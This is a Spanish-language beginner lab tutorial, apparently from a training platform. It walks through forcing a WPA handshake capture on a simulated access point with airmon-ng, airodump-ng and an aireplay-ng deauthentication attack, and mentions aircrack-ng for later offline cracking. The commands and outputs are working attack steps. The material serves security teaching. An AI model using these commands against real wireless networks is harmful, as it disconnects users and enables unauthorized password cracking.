Forzar un Handshake WPA con un Ataque de Desautenticación de aireplay-ng

Beginner
Practicar Ahora

Introducción

Bienvenido a este laboratorio sobre cómo forzar la captura de un handshake WPA. El handshake de cuatro vías WPA/WPA2 es un dato crítico requerido para intentar descifrar la contraseña de una red Wi-Fi. Si bien puedes esperar pasivamente a que un dispositivo se conecte a la red para capturar este handshake, esto puede llevar mucho tiempo.

Un enfoque más activo es forzar a un cliente actualmente conectado a desconectarse y luego reconectarse inmediatamente. Este proceso se llama ataque de desautenticación (o "deauth"). Cuando el cliente se reconecta, realiza el handshake de cuatro vías, que luego puedes capturar.

En este laboratorio, utilizarás aireplay-ng, una potente herramienta del conjunto aircrack-ng, para realizar un ataque de desautenticación contra un cliente Wi-Fi simulado. Esto te permitirá capturar de manera confiable el handshake WPA para su análisis. Nuestro entorno de laboratorio ha sido preconfigurado con un punto de acceso inalámbrico (AP) virtual llamado MyTestAP y un cliente conectado.

Identificar un Cliente Asociado desde un Escaneo de airodump-ng

En este paso, prepararás tu interfaz inalámbrica para la monitorización y luego usarás airodump-ng para encontrar el punto de acceso objetivo y su cliente conectado.

Primero, necesitas poner una de tus interfaces inalámbricas virtuales en modo monitor. Este modo permite que la interfaz capture todo el tráfico Wi-Fi en el aire, no solo el tráfico dirigido a ella. Usaremos la interfaz wlan1.

Ejecuta el siguiente comando para iniciar el modo monitor en wlan1:

sudo airmon-ng start wlan1

Este comando creará una nueva interfaz de monitorización, típicamente llamada wlan1mon. Deberías ver una salida que confirma que el modo ha sido habilitado.

PHY     Interface       Driver          Chipset

phy0    wlan0           mac80211_hwsim  Software simulator
phy1    wlan1           mac80211_hwsim  Software simulator

                (mac80211 monitor mode vif enabled for [phy1]wlan1 on [phy1]wlan1mon)
                (mac80211 station mode vif disabled for [phy1]wlan1)

Ahora, ejecuta airodump-ng en la nueva interfaz de monitorización (wlan1mon) para comenzar el escaneo. Usaremos la opción -w para escribir los paquetes capturados en un archivo llamado capture, y especificaremos el BSSID y el canal de nuestro AP objetivo para enfocar el escaneo. El BSSID para nuestro AP simulado es 02:00:00:00:01:00 y está en el canal 6.

sudo airodump-ng -w capture --bssid 02:00:00:00:01:00 -c 6 wlan1mon

Deja que airodump-ng se ejecute. Verás una pantalla que se actualiza en tiempo real. La parte superior lista los puntos de acceso cercanos, y la parte inferior lista los clientes conectados a ellos. Deberías ver nuestro AP, MyTestAP, y un cliente conectado a él.

La salida se verá similar a esto:

CH  6 ][ Elapsed: 10 s ][ 2023-10-27 10:30

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 02:00:00:00:01:00  -30       10        5    0   6  540  WPA2 CCMP   PSK  MyTestAP

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 02:00:00:00:01:00  02:00:00:00:02:00  -35    0- 1      0        5

De esta salida, identifica y anota:

  • BSSID: 02:00:00:00:01:00 (La dirección MAC del AP).
  • STATION: 02:00:00:00:02:00 (La dirección MAC del cliente conectado).

Mantén esta terminal en ejecución. La necesitarás para confirmar la captura del handshake más adelante.

Abrir una Nueva Terminal para el Ataque de Desautenticación

En este paso, abrirás una nueva ventana de terminal. El comando airodump-ng del paso anterior debe seguir ejecutándose en la primera terminal para escuchar el handshake WPA. El ataque de desautenticación se lanzará desde una segunda terminal separada.

Para abrir una nueva terminal, haz clic en el icono + en la barra de pestañas de la terminal en la parte superior de la ventana de la terminal.

Abrir Nueva Terminal

Una vez que la nueva terminal esté abierta, estarás en el directorio ~/project, listo para ejecutar el comando de ataque en el siguiente paso. Todos los comandos subsiguientes para el ataque en sí deben ejecutarse en esta nueva terminal.

Construir el Comando de aireplay-ng para Desautenticación con --deauth

En este paso, construirás el comando aireplay-ng que realizará el ataque de desautenticación. Utilizarás la información que recopilaste en el Paso 1.

La sintaxis básica para un ataque de desautenticación con aireplay-ng es:
aireplay-ng --deauth <número_de_paquetes> -a <BSSID_del_AP> -c <STATION_del_Cliente> <interfaz>

Analicemos los componentes:

  • --deauth: Esta opción especifica el modo de ataque de desautenticación.
  • <número_de_paquetes>: Este es el número de paquetes de desautenticación a enviar. Enviar una pequeña ráfaga, como 5, suele ser suficiente para desconectar al cliente.
  • -a <BSSID_del_AP>: Esto especifica la dirección MAC del Punto de Acceso objetivo. Del Paso 1, esta es 02:00:00:00:01:00.
  • -c <STATION_del_Cliente>: Esto especifica la dirección MAC del cliente que deseas desconectar. Del Paso 1, esta es 02:00:00:00:02:00.
  • <interfaz>: Esta es tu interfaz inalámbrica en modo monitor, que es wlan1mon.

Ahora, ensambla el comando completo en tu nueva terminal. Debería verse exactamente así:

sudo aireplay-ng --deauth 5 -a 02:00:00:00:01:00 -c 02:00:00:00:02:00 wlan1mon

No presiones Enter todavía. En el siguiente paso, ejecutarás este comando.

Ejecutar el Ataque Dirigido al Cliente y al AP

En este paso, ejecutarás el comando que acabas de construir para lanzar el ataque.

En tu segunda ventana de terminal, presiona Enter para ejecutar el comando aireplay-ng.

sudo aireplay-ng --deauth 5 -a 02:00:00:00:01:00 -c 02:00:00:00:02:00 wlan1mon

La herramienta comenzará inmediatamente a enviar paquetes de desautenticación. La salida mostrará la hora y que está enviando desautenticaciones dirigidas al cliente.

La salida se verá así:

10:35:10  Waiting for beacon frame (BSSID: 02:00:00:00:01:00) on channel 6
10:35:10  Sending 64 directed DeAuths to 02:00:00:00:02:00 (code 7).
10:35:11  Sending 64 directed DeAuths to 02:00:00:00:02:00 (code 7).
...

El ataque es muy rápido. Tan pronto como ejecutes el comando, el cliente objetivo se desconectará de la red e intentará reconectarse inmediatamente. Este proceso de reconexión es lo que genera el handshake WPA que queremos capturar.

Cambia rápidamente de nuevo a tu primera terminal (la que ejecuta airodump-ng) para observar el resultado en el siguiente paso.

Confirmar la Captura del Handshake en la Ventana de airodump-ng

En este paso, confirmarás que el ataque de desautenticación fue exitoso al verificar el mensaje del handshake WPA en tu ventana de airodump-ng.

Vuelve a tu primera terminal. Si el ataque funcionó, verás un nuevo mensaje en la esquina superior derecha de la pantalla de airodump-ng:

WPA handshake: 02:00:00:00:01:00

Este mensaje confirma que airodump-ng ha interceptado y registrado exitosamente el handshake de cuatro vías para el BSSID especificado.

CH  6 ][ Elapsed: 45 s ][ 2023-10-27 10:35 ][ WPA handshake: 02:00:00:00:01:00

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 02:00:00:00:01:00  -30       48       82    1   6  540  WPA2 CCMP   PSK  MyTestAP

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 02:00:00:00:01:00  02:00:00:00:02:00  -36    0- 1      0       75

Ahora que tienes el handshake, puedes detener la captura. Presiona Ctrl+C en la terminal de airodump-ng para detenerla.

Debido a que usaste la opción -w capture en el Paso 1, airodump-ng guardó el tráfico capturado en archivos en tu directorio actual (~/project). Lista los archivos para ver los resultados.

ls -l

Deberías ver varios archivos que comienzan con capture, incluyendo capture-01.cap. Este archivo .cap contiene los datos brutos de los paquetes, incluido el handshake WPA que acabas de capturar.

-rw-r--r-- 1 root  root    450 Oct 27 10:36 capture-01.cap
-rw-r--r-- 1 root  root    892 Oct 27 10:36 capture-01.csv
-rw-r--r-- 1 root  root    634 Oct 27 10:36 capture-01.kismet.csv
-rw-r--r-- 1 root  root    128 Oct 27 10:36 capture-01.kismet.netxml
-rw-r--r-- 1 labex labex   121 Oct 27 10:28 hostapd.conf
-rw-r--r-- 1 labex labex    52 Oct 27 10:28 wpa_supplicant.conf

El archivo capture-01.cap es el premio. Ahora puede usarse con herramientas de cracking de contraseñas como aircrack-ng para intentar descubrir la clave precompartida de la red.

Resumen

¡Felicitaciones por completar este laboratorio! Has realizado con éxito un ataque de desautenticación para forzar y capturar un handshake WPA.

En este laboratorio, aprendiste a:

  • Poner una interfaz inalámbrica en modo monitor usando airmon-ng.
  • Escanear e identificar un AP y cliente objetivo con airodump-ng.
  • Construir y ejecutar un ataque de desautenticación usando aireplay-ng.
  • Confirmar la captura del handshake WPA y localizar el archivo .cap resultante.

Esta es una habilidad fundamental en las pruebas de seguridad de redes inalámbricas. El archivo de handshake capturado es el ingrediente clave para la siguiente fase: el cracking de contraseñas offline utilizando una herramienta como aircrack-ng y una lista de palabras completa.